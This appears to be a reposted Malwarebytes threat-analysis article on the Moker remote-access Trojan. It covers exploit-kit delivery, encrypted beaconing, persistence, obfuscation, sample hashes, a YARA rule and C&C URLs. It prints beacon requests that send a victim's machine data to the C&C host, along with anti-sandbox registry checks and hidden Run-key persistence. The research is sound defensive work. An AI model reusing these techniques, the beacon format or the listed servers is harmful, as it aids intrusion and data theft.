Elusive Moker Trojan is back

April 21, 2017 admin EK, exploit kit, malware, Moker, Rat, RIG EK, Threat analysis, Trojan

Credit to Author: Malwarebytes Labs| Date: Fri, 21 Apr 2017 18:44:58 +0000

Some time ago we observed a rare, interesting malware dropped from the Rig-v EK. Its code was depicting that it is written by professionals. Research has shown that it is a sample of Moker Trojan that was discovered in 2015 (read more here). However, for a long time, we could not find a sample with working CnC in order to do a deeper research. Finally, we found such a sample – this article will be a deep dive in its capabilities.

Analyzed samples

76987e1882ef27faab675c4a5ce4248d – main sample – dropped by EK (April 2017)
- f961bf2d0504e376b3305e9d06f66de3 – the main module – DLL (stage 2)
e63913d6d389a6bc5f2aa4036717ac27 – main sample (dropped by EK)
- 4d9f5048e225e8b4dd5feb8ec489e483 – unpacked payload (stage 1)

Downloaded modules:

8997b9365c697e757f5a4717ec36fb2d – pluginj382dew1i.exe

faf2135dc5311b034d31191694a52bbd – KB1080030.exe

Reference samples (from 2015)

9bdd2e72708584c9fd6761252c9b0fb8 – sample #1
5f005beb917acfeb28e0a410909e6d6b – sample #2
- 650ce9e81d7f86660e2d37cbde8f160a – unpacked Stage 1

Distribution method

We found Moker Trojan distributed via exploit kits – in malvertising campaigns, as well as dropped from the hacked sites. Example – Rig-v EK dropping Moker:

Behavioral analysis

The malware injects itself into the svchost, and then contacts the CnC server.

Network communication

The communication is encrypted. The typical way of beaconing is to send the request to the address: <gate_name>.php?img=<number>
An example of the sent request:

GET /nnnn04722.php?img=1 HTTP/1.1  User-Agent: Mozilla  Host: bitmixc.ml

The server responds with encrypted content (the bot saves it in a registry key). Then it injects itself in other applications and sends further requests, including the data of the infected machine, i.e.:

GET /nnnn04722.php?page=<computername><windows_version>_<disk_id>&s=<number>p=<number>.<number>&err=<number>.<number>

In the below case, the response turned out to be a PE file (an updated version of the bot) obfuscated by XOR with a character ‘c’.

The server responds either by sending some encrypted content or a number:

=<number>

Persistence

Moker achieves its persistence by adding a Run key in the registry. This method may look very simple at first. However, the authors of the malware hid the real executable behind a legitimate Microsoft application – Rundl32.exe. Thanks to this trick, it is much harder to notice it – a popular tool used to examine persistent applications, Sysinternals’ autoruns, does not show such keys by default, assuming that they are harmless.

The sample of Moker is dropped in the current user’s home directory:

If we take a closer look at the sample, we can see that it has been slightly modified in comparison to the original one – some encrypted information has been removed:

As it turned out after the further research (see in the part “Inside”), those bytes contains the CnC address, prefixed by a special tag. The information removed from the executable is not lost but stored elsewhere – in one of the registry keys created for storing the malware configuration.

Other keys created by the malware are saved under “..CLSID{448D3B34-8D3B-3B34-8D3B-48D3448D3B34}”:

The full dump of the registry entries is available here.

As it turned out, the encrypted CnC address, that was removed from the executable, is persisted in the registry, inside the key “5”:

Compare with the data from inside the original sample:

Another key, “6”, stores a PE file (the executable dumped from the registry is available here: 91f754c3fc475aed93e80575bb503c73).

The key “7” stores the data that was downloaded from the CnC after the initial beacon:

Compare with the content of the server response:

The key “10” contains the name of the downloaded module:

The new module is stored in ProgramData:

Its persistence is added also with the help of a Run key (in a similar way as the previously described case):

Inside

Moker consists of two main modules. The Stage 1, that is a downloader, and the Stage 2, that is a DLL containing the core malicious features. The downloader injects itself, along with the unpacked shellcode, into the svchost.exe. The screenshot below shows an example of the infected memory pages inside the svchost.exe:

The injected shellcode is responsible for sending the initial beacon to the CnC. Then, if the CnC is active, the main DLL is downloaded and injected into the other processes. During the tests, all 32-bit applications running in the Medium integrity mode have been infected by the Moker DLL.

Stage 1

Let’s dive in the code, starting from the dropper – that is the Stage 1. This is the binary used for initiating the full infection process – originally delivered by exploit kits. Every sample comes packed by some crypter (crypters are different for various samples so we will not describe this layer here).

After defeating a stub of a crypter, we get another PE file – with a layout typical for Moker. The section .text, that – in normal cases is the first section of PE, in case of Moker comes as second:

Section .data is very small in the raw file, but it is expanding in the virtual image. So, we can suspect that something more is unpacked there:

Obfuscated execution flow

The internal structure of this module is very interesting. It has self-modifying code with execution based on VEH (Vectored Exception Handers). Execution starts from installing the handler:

Instructions IN are used in various places in the code. Their role is to disrupt the continuity of the execution by triggering an exception. Then, execution is redirected to the previously installed handler. Depending on the variant of the instruction that triggered the exception, the context is changed in one of the few ways:

Context patching is used to obfuscate the execution flow. Thanks to this trick, static analysis of the code is almost impossible – all changes on the fly.

The JMP EAX (first case in the exception handler) is used to deploy API calls. It is triggered by IN AL, <BYTE> (see the example below):

That’s why, if we trace the API calls made by the application, we can notice that most of them are made from the same address in the code – only the target address is changing.

Not only the execution flow but also the code itself is dynamically modified. We can find the application calling very often VirtualAlloc:

Some pieces of the encrypted code are copied from the main executable into this dynamically allocated memory:

Then, they are decrypted by a dedicated function:

The revealed code is almost ready – except for the addresses of calls, that needs to be filled. You can see in the following fragment, that temporarily the CALL points to its own address:

This is fixed in another step – the decoding function returns into another code fragment, that modifies the addresses:

Till the new piece of code is fully revealed and ready to be called (see the fixed CALL target):

When the modifying function returns, execution falls into the line that performs a jump into the new code:

The revealed code makes another layer – again allocating, decrypting and calling code.

The code chunks that provide some real functionality are always deployed via this type of proxy – that makes execution flow more complicated.

Functionality

The dropper starts execution from the defensive checks, ensuring that it is not run in the controlled environment. The following registry keys are searched:

"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__"  "HKEY_CURRENT_USER\Software\Trusteer\Rapport"  "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"  -> SysAnalyzer

If all the checks passed, the application reads it’s own file from the disk and searches there for some typical markers. An example of the search:

The important thing is, those markers are present in the outermost layer – the original PE file (not the unpacked one). Thanks to this feature, knowing them allowed to create a very simple YARA rule to identify Moker:

rule MokerTrojan  {   strings:   $key = {3D FF 24 8B 92 C1 D6 9D}    condition:    IsPE and   all of them  }

The mentioned markers are used as indicators, after which the encrypted CnC address is stored.

Another feature, typical for Moker is mutex in the following format:

"Global\a0bp-<Machine_ID>"

The mutex prevents the application from being run more than once.

After the environment checks are passed, Moker unpacks the shellcode, that has capabilities of a downloader, and injects it (along with the initial PE file) into svchost.

Stage 2

If the main DLL was successfully downloaded by the Stage 1, it is being further injected in the applications. Example – Moker DLL injected into jusched (Java Update Scheduler):

This module is responsible for all the malicious actions performed by the malware – also, it actively communicates with its CnC. Below you can see a sample POST request sent from inside the injected DLL:

If we try to dump the injected DLL, we can see, that it’s imported table has been destroyed – all the names of the DLLs and imported functions are erased. However, using a dedicated tool I was able to recover it (see more here).

The DLL provides various features typical for RAT (they didn’t chang from the latest analysis in 2015, provided here).

Code of the core DLL is written in a decent way, suggesting professionalism of the authors. However in contrary to the dropper, the obfuscation used here is rather simple. Most of the strings and API calls are not obfuscated, or obfuscated in a trivial way.

Looking inside the code, we can see references to the registry keys, observed during behavioral analysis, i.e.:

The DLL communicates not only with the CnC, but also with it’s other injected modules, using local sockets and named pipes. An example below – starting a local socket for listening:

The commands read from the ipe are parsed and executed:

Basing on the command id, malware can be requested over pipe to execute some command or to create and save a screenshot:

Among the interesting features of this part is, it also provides access to it’s features via simple GUI. It may be used for local tests, or. in case if the attackers prefer to access the victim machine via Remote Desktop.

CnC servers

List of the found CnC servers (one address per one sample):

http://bitmixc.ml/nnnn04722.php  http://bitmixc.ml/msnwiwoq25.php  http://matthi.tk/abb6a388.php  http://sally33.cf/23mmmdw3.php  http://siri5.ml/www9.php

Conclusion

Moker is a rare malware, but written by very skilled authors. Compilation timestamp of the core module is 2015-05-03 00:40:11. This suggests that since its moment of appearance, still the same samples are in circulation, only they are repacked by different packers. This fact, along with it’s RAT capabilities suggest, that it may be a tool produced and sold in 2015, possibly abandoned by the original developers.